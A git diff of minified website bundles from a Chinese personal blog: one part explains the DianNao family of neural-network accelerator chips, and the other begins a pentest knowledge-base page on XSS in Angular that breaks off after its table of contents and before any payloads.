b58\u50a8\u548c\u5904\u7406\u5206\u79bb\u5f0f\u7ed3\u6784\u7684\u5236\u7ea6\uff0c\u56e0\u800c\u5f71\u54cd\u6548\u7387\u3002\u56e0\u6b64\uff0c\u4e13\u95e8\u9488\u5bf9\u4eba\u5de5\u667a\u80fd\u7684\u4e13\u4e1a\u82af\u7247NPU\u66f4\u6709\u7814\u53d1\u7684\u5fc5\u8981\u548c\u9700\u6c42\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5728NPU\u7684\u8bbe\u8ba1\u4e0a\uff0c\u4e2d\u56fd\u8d70\u5728\u4e86\u4e16\u754c\u524d\u5217\u3002\u4e0b\u9762\u6211\u4eec\u5c06\u4ee5\u5bd2\u6b66\u7eaa\u7684DianNao\u7cfb\u5217\u67b6\u6784\u4e3a\u4f8b\uff0c\u6765\u7b80\u8981\u4ecb\u7ecdNPU\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"diannao",children:"DianNao"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(38997).A+"",width:"582",height:"426"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aDianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning\uff0cfigure 9"}),"\n",(0,r.jsx)(e.p,{children:"\u57fa\u4e8e\u795e\u7ecf\u7f51\u7edc\u7684\u4eba\u5de5\u667a\u80fd\u7b97\u6cd5\uff0c\u662f\u6a21\u62df\u4eba\u7c7b\u5927\u8111\u5185\u90e8\u795e\u7ecf\u5143\u7684\u7ed3\u6784\u3002\u4e0a\u56fe\u4e2d\u7684neuron\u4ee3\u8868\u7684\u5c31\u662f\u5355\u4e2a\u795e\u7ecf\u5143\uff0csynapse\u4ee3\u8868\u795e\u7ecf\u5143\u7684\u7a81\u89e6\u3002\u8fd9\u4e2a\u6a21\u578b\u7684\u5de5\u4f5c\u6a21\u5f0f\uff0c\u5c31\u8981\u7ed3\u5408\u9ad8\u4e2d\u751f\u7269\u8bfe\u7684\u77e5\u8bc6\u4e86\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2a\u795e\u7ecf\u5143\uff0c\u6709\u8bb8\u591a\u7a81\u89e6\uff0c\u7ed9\u522b\u7684\u795e\u7ecf\u5143\u4f20\u9012\u4fe1\u606f\u3002\u540c\u6837\uff0c\u8fd9\u4e2a\u795e\u7ecf\u5143\uff0c\u4e5f\u4f1a\u63a5\u6536\u6765\u81ea\u8bb8\u591a\u5176\u4ed6\u795e\u7ecf\u5143\u7684\u4fe1\u606f\u3002\u8fd9\u4e2a\u795e\u7ecf\u5143\u6240\u6709\u63a5\u53d7\u5230\u7684\u4fe1\u606f\u7d2f\u52a0\uff0c\u4f1a\u6709\u4e00\u4e2a\u5f3a\u70c8\u7a0b\u5ea6\uff0c\u5728\u751f\u7269\u4e0a\u662f\u4ee5\u5316\u5b66\u6210\u5206\u7684\u5f62\u5f0f\u5b58\u5728\uff0c\u5f53\u8fd9\u4e9b\u4fe1\u606f\u8fbe\u5230\u4e00\u5b9a\u7684\u5f3a\u70c8\u7a0b\u5ea6\uff0c\u5c31\u4f1a\u4f7f\u6574\u4e2a\u795e\u7ecf\u5143\u5904\u4e8e\u5174\u594b\u72b6\u6001\uff08\u6fc0\u6d3b\uff09\uff0c\u5426\u5219\u5c31\u662f\u4e0d\u5174\u594b\uff08\u4e0d\u6fc0\u6d3b\uff09\u3002\u5982\u679c\u5174\u594b\u4e86\uff0c\u5c31\u7ed9\u5176\u4ed6\u795e\u7ecf\u5143\u4f20\u9012\u4fe1\u606f\uff0c\u5982\u679c\u4e0d\u5174\u594b\uff0c\u5c31\u4e0d\u4f20\u9012\u3002\u8fd9\u5c31\u662f\u5355\u72ec\u4e00\u4e2a\u795e\u7ecf\u5143\u7684\u5de5\u4f5c\u6a21\u5f0f\u3002\u90a3\u4e48\u6709\u6210\u5343\u4e0a\u4e07\u4e2a\u8fd9\u6837\u7684\u795e\u7ecf\u5143\u7ec4\u5408\u8d77\u6765\uff0c\u5c31\u662f\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48DianNao\u662f\u5982\u4f55\u6a21\u62df\u795e\u7ecf\u5143\u8fdb\u884c\u5de5\u4f5c\u7684\u5462\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u770b\u5b83\u7684\u5185\u90e8\u7ed3\u6784\u56fe\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(25358).A+"",width:"702",height:"540"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aDianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning\uff0cfigure 11"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u56fe\u6240\u793a\uff0c\u4e0a\u56fe\u4e2d\u6d45\u84dd\u8272\u7684\u90e8\u5206\u5c31\u662f\u7528\u786c\u4ef6\u903b\u8f91\u6a21\u62df\u7684\u795e\u7ecf\u7f51\u7edc\u67b6\u6784\uff0c\u79f0\u4e3aNFU\uff08Neural Functional Units\uff09\u3002\u5b83\u53ef\u4ee5\u88ab\u7ec6\u5206\u4e3a\u4e09\u4e2a\u90e8\u5206\uff0c\u5373\u9014\u4e2d\u7684NFU-1\uff0cNFU-2\uff0c\u548cNFU-3\u3002"}),"\n",(0,r.jsx)(e.p,{children:"NFU-1\u662f\u4e58\u6cd5\u5355\u5143\uff0c\u5b83\u91c7\u752816bit\u5b9a\u70b9\u6570\u4e58\u6cd5\u5668\uff0c1\u4f4d\u7b26\u53f7\u4f4d\uff0c5\u4f4d\u6574\u6570\u4f4d\uff0c10\u4f4d\u5c0f\u6570\u4f4d\u3002\u8be5\u90e8\u5206\u603b\u8ba1\u6709256\u4e2a\u4e58\u6cd5\u5668\u3002\u8fd9\u4e9b\u4e58\u6cd5\u5668\u7684\u8ba1\u7b97\u662f\u540c\u65f6\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728\u4e00\u4e2a\u5468\u671f\u5185\u53ef\u4ee5\u6267\u884c256\u6b21\u4e58\u6cd5\u3002"}),"\n",(0,r.jsx)(e.p,{children:"NFU-2\u662f\u52a0\u6cd5\u6811\uff0c\u603b\u8ba116\u4e2a\uff0c\u6bcf\u4e00\u4e2a\u52a0\u6cd5\u6811\u90fd\u662f8-4-2-1\u8fd9\u6837\u7684\u7ec4\u6210\u7ed3\u6784\uff0c\u5373\u5c31\u662f\u6bcf\u4e00\u4e2a\u52a0\u6cd5\u6811\u4e2d\u90fd\u670915\u4e2a\u52a0\u6cd5\u5668\u3002"}),"\n",(0,r.jsx)(e.p,{children:"NFU-3\u662f\u975e\u7ebf\u6027\u6fc0\u6d3b\u51fd\u6570\uff0c\u8be5\u90e8\u5206\u7531\u5206\u6bb5\u7ebf\u6027\u8fd1\u4f3c\u5b9e\u73b0\u975e\u7ebf\u6027\u51fd\u6570\uff0c\u6839\u636e\u524d\u9762\u4e24\u4e2a\u5355\u5143\u8ba1\u7b97\u5f97\u5230\u7684\u523a\u6fc0\u91cf\uff0c\u4ece\u800c\u5224\u65ad\u662f\u5426\u9700\u8981\u6fc0\u6d3b\u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u9700\u8981\u5b9e\u73b0\u5411\u91cf\u76f8\u4e58\u548c\u5377\u79ef\u8fd0\u7b97\u65f6\uff0c\u4f7f\u7528NFU-1\u5b8c\u6210\u5bf9\u5e94\u4f4d\u7f6e\u5143\u7d20\u76f8\u4e58\uff0cNFU-2\u5b8c\u6210\u76f8\u4e58\u7ed3\u679c\u76f8\u52a0\uff0c\u6700\u540e\u7531NFU-3\u5b8c\u6210\u6fc0\u6d3b\u51fd\u6570\u6620\u5c04\u3002\u5b8c\u6210\u6c60\u5316\u8fd0\u7b97\u65f6\uff0c\u4f7f\u7528NFU-2\u5b8c\u6210\u591a\u4e2a\u5143\u7d20\u53d6\u6700\u5927\u503c\u6216\u53d6\u5e73\u5747\u503c\u8fd0\u7b97\u3002\u7531\u6b64\u5206\u6790\uff0c\u5c3d\u7ba1\u8be5\u8fd0\u7b97\u6a21\u5757\u975e\u5e38\u7b80\u5355\uff0c\u4e5f\u8986\u76d6\u4e86\u795e\u7ecf\u7f51\u7edc\u6240\u9700\u8981\u7684\u5927\u90e8\u5206\u8fd0\u7b97\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"dadiannao",children:"DaDianNao"}),"\n",(0,r.jsx)(e.p,{children:"\u4f5c\u4e3aDianNao\u7684\u591a\u6838\u5347\u7ea7\u7248\u672c\uff0cDaDianNao\u7684\u8fd0\u7b97\u5355\u5143NFU\u4e0eDianNao\u57fa\u672c\u76f8\u540c\uff0c\u6700\u5927\u7684\u533a\u522b\u662f\u4e3a\u4e86\u5b8c\u6210\u8bad\u7ec3\u4efb\u52a1\u591a\u52a0\u4e86\u51e0\u6761\u6570\u636e\u901a\u8def\uff0c\u4e14\u914d\u7f6e\u66f4\u52a0\u7075\u6d3b\u3002NFU\u7684\u5c3a\u5bf8\u4e3a16x16\uff0c\u537316\u4e2a\u8f93\u51fa\u795e\u7ecf\u5143\uff0c\u6bcf\u4e2a\u8f93\u51fa\u795e\u7ecf\u5143\u670916\u4e2a\u8f93\u5165\uff08\u8f93\u5165\u7aef\u9700\u8981\u4e00\u6b21\u63d0\u4f9b256\u4e2a\u6570\u636e\uff09\u3002\u540c\u65f6\uff0cNFU\u53ef\u4ee5\u53ef\u9009\u7684\u8df3\u8fc7\u4e00\u4e9b\u6b65\u9aa4\u4ee5\u8fbe\u5230\u7075\u6d3b\u53ef\u914d\u7f6e\u7684\u529f\u80fd\u3002DaDianNao\u7684NFU\u7ed3\u6784\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(73698).A+"",width:"823",height:"628"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aDaDianNao: A Machine-Learning Supercomputer\uff0cfigure 6"}),"\n",(0,r.jsx)(e.h3,{id:"shidiannao",children:"ShiDianNao"}),"\n",(0,r.jsx)(e.p,{children:"ShiDianNao\u662f\u673a\u5668\u89c6\u89c9\u4e13\u7528\u52a0\u901f\u5668\uff0c\u96c6\u6210\u4e86\u89c6\u9891\u5904\u7406\u7684\u90e8\u5206\uff0c\u5b83\u4e5f\u662fDianNao\u7cfb\u5217\u4e2d\u552f\u4e00\u4e00\u4e2a\u8003\u8651\u8fd0\u7b97\u5355\u5143\u7ea7\u6570\u636e\u91cd\u7528\u7684\u52a0\u901f\u5668\uff0c\u4e5f\u662f\u552f\u4e00\u4f7f\u7528\u4e8c\u7ef4\u8fd0\u7b97\u9635\u5217\u7684\u52a0\u901f\u5668\uff0c\u5176\u52a0\u901f\u5668\u7684\u8fd0\u7b97\u9635\u5217\u7ed3\u6784\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(53683).A+"",width:"916",height:"597"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aShiDianNao: Shifting vision processing closer to the sensor\uff0cfigure 5"}),"\n",(0,r.jsx)(e.p,{children:"ShiDianNao\u7684\u8fd0\u7b97\u9635\u5217\u4e3a2D\u683c\u70b9\u7ed3\u6784\uff0c\u5bf9\u4e8e\u6bcf\u4e00\u4e2a\u8fd0\u7b97\u5355\u5143\uff08\u8282\u70b9\uff09\u800c\u8a00\uff0c\u8fd0\u7b97\u6240\u4f7f\u7528\u7684\u53c2\u6570\u7edf\u4e00\u6765\u6e90\u4e8eKernel\uff0c\u800c\u53c2\u4e0e\u8fd0\u7b97\u7684\u6570\u636e\u5219\u53ef\u80fd\u6765\u81ea\u4e8e\uff1a\u6570\u636e\u7f13\u5b58NBin\uff0c\u4e0b\u65b9\u7684\u8282\u70b9\uff0c\u53f3\u4fa7\u7684\u8282\u70b9\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u56fe\u4e3a\u6bcf\u4e2a\u8fd0\u7b97\u5355\u5143\u7684\u7ed3\u6784\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(281).A+"",width:"655",height:"505"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aShiDianNao: Shifting vision processing closer to the sensor\uff0cfigure 6"}),"\n",(0,r.jsx)(e.p,{children:"\u8be5\u8ba1\u7b97\u8282\u70b9\u7684\u529f\u80fd\u5305\u62ec\u8f6c\u53d1\u6570\u636e\u548c\u8fdb\u884c\u8ba1\u7b97\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"\u8f6c\u53d1\u6570\u636e\uff1a\u6bcf\u4e2a\u6570\u636e\u53ef\u6765\u6e90\u4e8e\u53f3\u4fa7\u8282\u70b9\uff0c\u4e0b\u65b9\u8282\u70b9\u548cNBin\uff0c\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u9009\u62e9\u5176\u4e2d\u4e00\u4e2a\u5b58\u50a8\u5230\u8f93\u5165\u5bc4\u5b58\u5668\u4e2d\uff0c\u4e14\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u53ef\u9009\u7684\u5c06\u5176\u5b58\u50a8\u5230FIFO-H\u548cFIFO-V\u4e2d\u3002\u540c\u65f6\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u9009\u62e9FIFO-H\u548cFIFO-V\u4e2d\u7684\u4fe1\u53f7\u4eceFIFO output\u7aef\u53e3\u8f93\u51fa"}),"\n",(0,r.jsx)(e.p,{children:"\u8fdb\u884c\u8ba1\u7b97\uff1a\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u8fdb\u884c\u8ba1\u7b97\uff0c\u5305\u62ec\u76f8\u52a0\uff0c\u7d2f\u52a0\uff0c\u4e58\u52a0\u548c\u6bd4\u8f83\u7b49\uff0c\u5e76\u5c06\u7ed3\u679c\u5b58\u50a8\u5230\u8f93\u51fa\u5bc4\u5b58\u5668\u4e2d\uff0c\u5e76\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u9009\u62e9\u5bc4\u5b58\u5668\u6216\u8ba1\u7b97\u7ed3\u679c\u8f93\u51fa\u5230PE output\u7aef\u53e3\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5bf9\u4e8e\u8ba1\u7b97\u529f\u80fd\uff0c\u6839\u636e\u4e0a\u6587\u7684\u7ed3\u6784\u56fe\uff0c\u53ef\u4ee5\u53d1\u73b0\uff0cPE\u652f\u6301\u7684\u8fd0\u7b97\u6709\uff1akernel\u548c\u8f93\u5165\u6570\u636e\u76f8\u4e58\u5e76\u4e0e\u8f93\u51fa\u5bc4\u5b58\u5668\u6570\u636e\u76f8\u52a0\uff08\u4e58\u52a0\uff09\uff0c\u8f93\u5165\u6570\u636e\u4e0e\u8f93\u51fa\u5bc4\u5b58\u5668\u6570\u636e\u53d6\u6700\u5927\u6216\u6700\u5c0f\uff08\u5e94\u7528\u4e8e\u6c60\u5316\uff09\uff0ckernel\u4e0e\u8f93\u5165\u6570\u636e\u76f8\u52a0\uff08\u5411\u91cf\u52a0\u6cd5\uff09\uff0c\u8f93\u5165\u6570\u636e\u4e0e\u8f93\u51fa\u5bc4\u5b58\u5668\u6570\u636e\u76f8\u52a0\uff08\u7d2f\u52a0\uff09\u7b49\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"pudiannao",children:"PuDianNao"}),"\n",(0,r.jsx)(e.p,{children:"\u4f5c\u4e3aDianNao\u7cfb\u5217\u7684\u6536\u5c71\u4e4b\u4f5c\uff0cPuDianNao\u7684\u8fd0\u7b97\u5355\u5143\u662f\u7535\u8111\u7cfb\u5217\u4e2d\u552f\u4e00\u4e00\u4e2a\u5f02\u6784\u7684\uff0c\u9664\u4e86\u6709MLU\uff08\u673a\u5668\u5b66\u4e60\u5355\u5143\uff09\u5916\uff0c\u8fd8\u6709\u4e00\u4e2aALU\u7528\u4e8e\u5904\u7406\u901a\u7528\u8fd0\u7b97\u548cMLU\u65e0\u6cd5\u5904\u7406\u7684\u8fd0\u7b97\uff0c\u5176\u8fd0\u7b97\u5355\u5143\uff08\u4e0a\uff09\u548cMLU\uff08\u4e0b\uff09\u7ed3\u6784\u5982\u4e0b\u56fe\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(55651).A+"",width:"812",height:"868"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aPuDianNao: A Polyvalent Machine Learning Accelerator\uff0cfigure 11&12"}),"\n",(0,r.jsx)(e.p,{children:"\u8be5MLU\u5171\u5206\u4e3a6\u5c42\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"\u8ba1\u6570\u5c42/\u6bd4\u8f83\u5c42\uff1a\u8fd9\u4e00\u5c42\u7684\u5904\u7406\u4e3a\u4e24\u4e2a\u6570\u6309\u4f4d\u4e0e\u6216\u6bd4\u8f83\u5927\u5c0f\uff0c\u7ed3\u679c\u5c06\u88ab\u7d2f\u52a0\uff0c\u8fd9\u4e00\u5c42\u53ef\u4ee5\u5355\u72ec\u8f93\u51fa\u4e14\u53ef\u4ee5\u88abbypass"}),"\n",(0,r.jsx)(e.p,{children:"\u52a0\u6cd5\u5c42\uff1a\u8fd9\u4e00\u5c42\u4e3a\u4e24\u4e2a\u8f93\u5165\u5bf9\u5e94\u76f8\u52a0\uff0c\u8fd9\u4e00\u5c42\u53ef\u4ee5\u5355\u72ec\u8f93\u51fa\u4e14\u53ef\u4ee5\u88abbypass"}),"\n",(0,r.jsx)(e.p,{children:"\u4e58\u6cd5\u5c42\uff1a\u8fd9\u4e00\u5c42\u4e3a\u4e24\u4e2a\u8f93\u5165\u6216\u4e0a\u4e00\u5c42\uff08\u52a0\u6cd5\u5c42\uff09\u7ed3\u679c\u5bf9\u5e94\u4f4d\u7f6e\u76f8\u4e58\uff0c\u53ef\u4ee5\u5355\u72ec\u8f93\u51fa"}),"\n",(0,r.jsx)(e.p,{children:"\u52a0\u6cd5\u6811\u5c42\uff1a\u5c06\u4e58\u6cd5\u5c42\u7684\u7ed3\u679c\u7d2f\u52a0"}),"\n",(0,r.jsx)(e.p,{children:"\u7d2f\u52a0\u5c42\uff1a\u5c06\u4e0a\u4e00\u5c42\uff08\u52a0\u6cd5\u6811\u5c42\uff09\u7684\u7ed3\u679c\u7d2f\u52a0\uff0c\u53ef\u4ee5\u5355\u72ec\u8f93\u51fa"}),"\n",(0,r.jsx)(e.p,{children:"\u7279\u6b8a\u5904\u7406\u5c42\uff1a\u7531\u4e00\u4e2a\u5206\u6bb5\u7ebf\u6027\u903c\u8fd1\u5b9e\u73b0\u7684\u975e\u7ebf\u6027\u51fd\u6570\u548ck\u6392\u5e8f\u5668\uff08\u8f93\u51fa\u4e0a\u4e00\u5c42\u8f93\u51fa\u4e2d\u6700\u5c0f\u7684\u8f93\u51fa\uff09\u7ec4\u6210"}),"\n",(0,r.jsx)(e.p,{children:"\u8be5\u8fd0\u7b97\u5355\u5143\u662fDianNao\u7cfb\u5217\u4e2d\u529f\u80fd\u6700\u591a\u7684\u5355\u5143\uff0c\u914d\u7f6e\u975e\u5e38\u7075\u6d3b\u3002\u4f8b\u5982\u5b9e\u73b0\u5411\u91cf\u76f8\u4e58\uff08\u5bf9\u5e94\u4f4d\u7f6e\u76f8\u4e58\u540e\u7d2f\u52a0\uff09\u65f6\uff0c\u5f03\u7528\u8ba1\u6570\u5c42\uff0c\u52a0\u6cd5\u5c42\uff0c\u5c06\u6570\u636e\u4ece\u4e58\u6cd5\u5c42\uff0c\u52a0\u6cd5\u6811\u5c42\u548c\u7d2f\u52a0\u5c42\u6d41\u8fc7\u5373\u53ef\u5b9e\u73b0\u3002"}),"\n",(0,r.jsx)(e.p,{children:"PuDianNao\u652f\u63017\u79cd\u673a\u5668\u5b66\u4e60\u7b97\u6cd5\uff1a\u795e\u7ecf\u7f51\u7edc\uff0c\u7ebf\u6027\u6a21\u578b\uff0c\u652f\u6301\u5411\u91cf\u673a\uff0c\u51b3\u7b56\u6811\uff0c\u6734\u7d20\u8d1d\u53f6\u65af\uff0cK\u4e34\u8fd1\u548cK\u7c7b\u805a\uff0c\u6240\u9700\u8981\u652f\u6301\u7684\u8fd0\u7b97\u8f83\u591a\uff0c\u56e0\u6b64PuDianNao\u7684\u8fd0\u7b97\u5206\u6790\u4e3b\u8981\u96c6\u4e2d\u5728\u5b58\u50a8\u65b9\u9762\uff0c\u5176\u8fd0\u7b97\u6838\u5fc3\u7684\u8bbe\u8ba1\u4e2d\u8bf4\u660ePuDianNao\u652f\u6301\u7684\u8fd0\u7b97\u4e3b\u8981\u6709\uff1a\u5411\u91cf\u70b9\u4e58\uff0c\u8ddd\u79bb\u8ba1\u7b97\uff0c\u8ba1\u6570\uff0c\u6392\u5e8f\u548c\u975e\u7ebf\u6027\u51fd\u6570\u3002\u5176\u4ed6\u672a\u8986\u76d6\u7684\u8ba1\u7b97\u4f7f\u7528ALU\u5b9e\u73b0\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://ieeexplore.ieee.org/abstract/document/8192463",children:"In-datacenter performance analysis of a tensor processing unit"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://www.freepatentsonline.com/y2017/0103313.html",children:"Neural Network Processor"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://dl.acm.org/doi/abs/10.1145/2654822.2541967",children:"DianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://ieeexplore.ieee.org/document/7011421",children:"DaDianNao: A Machine-Learning Supercomputer"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://ieeexplore.ieee.org/document/7284058",children:"ShiDianNao: Shifting vision processing closer to the sensor"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://dl.acm.org/doi/abs/10.1145/2775054.2694358",children:"PuDianNao: A Polyvalent Machine Learning Accelerator"})})]})}function o(n={}){const{wrapper:e}={...(0,a.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}},25358:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/accelerator-69cfd7bf8aed4773d4326f8771cf5956.jpg"},28453:(n,e,i)=>{i.d(e,{R:()=>t,x:()=>c});var s=i(96540);const r={},a=s.createContext(r);function t(n){const e=s.useContext(a);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:t(n.components),s.createElement(a.Provider,{value:e},n.children)}},34274:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/TPU-cab53f46a11cfc4298201a002bb7b756.jpg"},38488:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/MMU-376b2784e76a04cdd92b8f0cefd5a5c5.jpg"},38997:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/diannao-24639eb4c8386196464107558ebf0356.jpg"},53683:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/shidiannao-e0a656501afe481ac128bdbaa58d4241.jpg"},55651:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/MLU-4c83e6cfdceb339cfa0214877ab0c8b2.jpg"},73698:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/dadiannao-15aec937288716ba33e2fd0106c98f3c.jpg"},76204:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/FloorPlan-f84f6a7e178ce89da73e434529e9c84a.jpg"}}]); \ No newline at end of file diff --git a/en/assets/js/1c3194f1.1acc7da8.js b/en/assets/js/1c3194f1.1acc7da8.js new file mode 100644 index 0000000..85ed998 --- /dev/null +++ b/en/assets/js/1c3194f1.1acc7da8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5839],{6811:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>c,default:()=>p,frontMatter:()=>l,metadata:()=>t,toc:()=>i});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","title":"Angular \u548c AngularJS \u4e2d\u7684 XSS","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/01.XSSInAngular.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/01.XSSInAngular.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"XSS\u6ce8\u5165","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/"},"next":{"title":"02.XSSWithRelativePathOverwrite.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite"}}');var a=r(74848),s=r(28453);const l={},c="Angular \u548c AngularJS \u4e2d\u7684 XSS",o={},i=[{value:"\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165",id:"\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165",level:2},{value:"\u5b58\u50a8/\u53cd\u5c04 XSS-AngularJS \u4e2d\u7684\u7b80\u5355\u8b66\u62a5",id:"\u5b58\u50a8\u53cd\u5c04-xss-angularjs-\u4e2d\u7684\u7b80\u5355\u8b66\u62a5",level:3},{value:"\u9ad8\u7ea7\u7ed5\u8fc7 XSS",id:"\u9ad8\u7ea7\u7ed5\u8fc7-xss",level:3},{value:"\u76f2 XSS",id:"\u76f2-xss",level:3},{value:"\u81ea\u52a8\u6d88\u6bd2",id:"\u81ea\u52a8\u6d88\u6bd2",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(n.header,{children:(0,a.jsx)(n.h1,{id:"angular-\u548c-angularjs-\u4e2d\u7684-xss",children:"Angular \u548c AngularJS \u4e2d\u7684 XSS"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 09:51:52"})]})})]}),"\n",(0,a.jsx)(n.h2,{id:"\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165",children:"\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165"}),"\n",(0,a.jsx)(n.p,{children:"\u4ee5\u4e0b\u6709\u6548\u8f7d\u8377\u57fa\u4e8e\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165\u3002"}),"\n",(0,a.jsx)(n.h3,{id:"\u5b58\u50a8\u53cd\u5c04-xss-angularjs-\u4e2d\u7684\u7b80\u5355\u8b66\u62a5",children:"\u5b58\u50a8/\u53cd\u5c04 XSS-AngularJS \u4e2d\u7684\u7b80\u5355\u8b66\u62a5"}),"\n",(0,a.jsxs)(n.blockquote,{children:["\n",(0,a.jsx)(n.p,{children:"AngularJS \u4ece 1.6 